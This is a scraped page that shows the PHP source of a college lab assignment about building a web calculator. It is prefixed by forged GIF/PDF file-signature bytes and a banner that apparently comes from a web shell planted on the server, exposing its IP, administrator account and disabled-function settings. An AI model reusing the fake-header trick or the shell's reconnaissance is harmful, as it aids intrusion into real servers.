GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/Labs/Lab02/ |
Upload File : |
<? // JimMartinson/CST1022/Labs/Lab02/Lab02.phpinc $css .= ',colorCode.css'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; } $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate your ability to create an html page that acts as a calculator. <?=$gradeNote?> <? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol id="main" class="count"> <!-- Step 1 --> <li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li> <!-- Step 2 --> <li class="">Setup files for <?=$evaluationType?> <?=$evaluationNumber?>: <ol> <li class="page">Get the starting html file: <ol> <li>Download the <a href="dn/Lab02.html">starting html file (Lab02.html)</a> and save it in your <?=$evaluationName?> folder.</li> <li>Rename the file to <b class="copyText"><?=$saveFilename?>.html</b></li> </ol> <ins title="Changed on 2/14/2022">The area element onclick attribute values changed to "return performCalculatorButton(this);". The alt attribute was also added.</ins> </li> <li class="css">Download the <a href="dn/Lab02.css">starting css file (Lab02.css)</a> and save it in your <?=$evaluationName?> folder. <br><ins title="Changed on 2/14/2022">Double ;; removed from declarations and fixed calculatorDisplay width and height.</ins></li> <li class="js">Download the <a href="dn/Lab02.js">starting js file (Lab02.js)</a> and save it in your <?=$evaluationName?> folder. <br><ins title="Changed on 2/14/2022">The areaClicked() function renamed to performCalculatorButton(). Global variables added: memoryStore, operationClicked, and previousOperand_2. Function added: getDisplay(). jsDocs comments added.</ins></li> <li>Replace any occurance of <b>replace_with_your_name</b> to <b class="copyText"> <?=$userFullName?></b> in all three files.</li> <li>Download the <a href="dn/calculator.png">calculator image file (calculator.png)</a> and save it in your <?=$evaluationName?> folder.</li> </ol> </li> <!-- Step 3 --> <li class="">Get the calculator working. <ins title="Added 2/14/2022">For the most part it should work like a standard cheap calculator. You can use the Microsoft software Calculator as an example.</ins> Test, test, test! <br>Here are some of the key functions: <ul> <li><b>MRC</b> Copy the memory to the display. If pushed twice in succession, clear the memory and display.</li> <li><b>M-</b> Subtract the current display value from the memory.</li> <li><b>M+</b> Add the current display value to the memory.</li> <li><b>+/-</b> Change the sign of the current display value.</li> <li><b>%</b> Perform a modulus (remainder) calculation.</li> <li><b>→</b> I have no idea what this could be for. Be creative! And document the function for us. Maybe describe the key's function below the calculator.</li> </ul> The other "keys" should be self explanatory. <br> <ins title="Added 2/14/2022"> Here are some things to think about: <ul> <li>You can an only enter one decimal point in a number. Any additional decimal point should be ignored.</li> <li>What do you do about display overflow? What if you press the 8 key 15 times? What if you divide 1 by 3?</li> <li>What do you do if the display is 0 and the 00 key is pressed? It should stay 0 and not display 00.</li> <li>What do you do about errors like division by zero?</li> <li>When you perform a calculation, subsequent pressings of the equal should repeat this calculation. So: <br>2 * 2 = will display 4. Pressing the = key again should then perform 4 * 2 and get 8. Do it again and 8 * 2 should be calculated, etc. </li> <li>Once you have performed a calculation, you should be able to perform one on the result. So: <br>5 + 2 = will display 7. I should then be able to press + 11 = and get 18. </li> <li>Once you have performed a calculation, you should be able to start another one without clearing the display. So: <br>9 - 4 = will display 5. If I now press a number or the decimal, a new calculation should begin. If I enter 10 - 8 = I should get 2. </li> <li>What do you do with calculations like 5 x = ? Should it calculate 5 x 5?</li> </ul> </ins> </li> <!-- Step 4 --> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<? $fileList = array( 'Lab02.css', 'Lab02.js', $saveFilename.'.html', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <br><?=$fileName?> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol> <? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?> </fieldset> <? require('../LabNotes.phpinc'); ?> <script src="/js/colorCode.js"></script> <? $PartialGradingCriteria = ' -assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors. No further grading will be done. <table> <tr> <th>Criteria</th> <th class="right">Points</th> </tr> <tr> <td>Correct HTML elements, including: <span class="highELE">!DOCTYPE</span>, <span class="highELE">html</span>, <span class="highELE">head</span> (with required elements), <span class="highELE">body</span>, and <span class="highELE">div</span>s. This includes having the code well formatted.</td> <td class="number">3</td> </tr> <tr> <td>Correct site.css file.</td> <td class="number">1</td> </tr> <tr> <td>Correct site.js file.</td> <td class="number">1</td> </tr> <tr> <th class="right">Total:</th> <th class="number">assignmentPoints</th> </tr> </table> '; require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>